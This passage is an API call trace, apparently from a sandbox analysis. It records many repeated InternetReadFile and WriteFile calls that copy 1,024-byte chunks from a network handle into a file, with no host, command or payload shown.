[0059.580] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.580] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.580] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.580] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.580] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.580] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.580] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.580] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.580] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.580] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.580] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.580] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.580] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.581] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.581] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.581] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.581] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.581] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.581] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.581] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.586] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.586] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.586] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.586] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.586] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.586] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.586] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.586] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.587] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.587] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.587] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.587] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.587] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.587] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.587] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.587] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.587] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.587] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.587] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.587] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.588] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.588] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.588] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.588] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.588] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.588] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.588] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.588] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.588] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.588] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.588] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.588] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.588] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.588] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.588] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.588] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.589] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.589] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.589] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.589] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.589] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.589] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.589] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.589] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.589] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.590] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.590] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.590] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.590] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.590] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.590] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.590] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.590] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.590] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.590] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.591] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.591] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.591] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.591] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.591] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.591] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.591] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.591] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.591] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.591] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.591] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.591] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.591] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.591] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.592] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.592] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.592] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.592] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.592] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.592] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.592] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.592] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.592] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.592] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.592] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0059.592] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0059.592] WriteFile (in: hFile=0x530, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
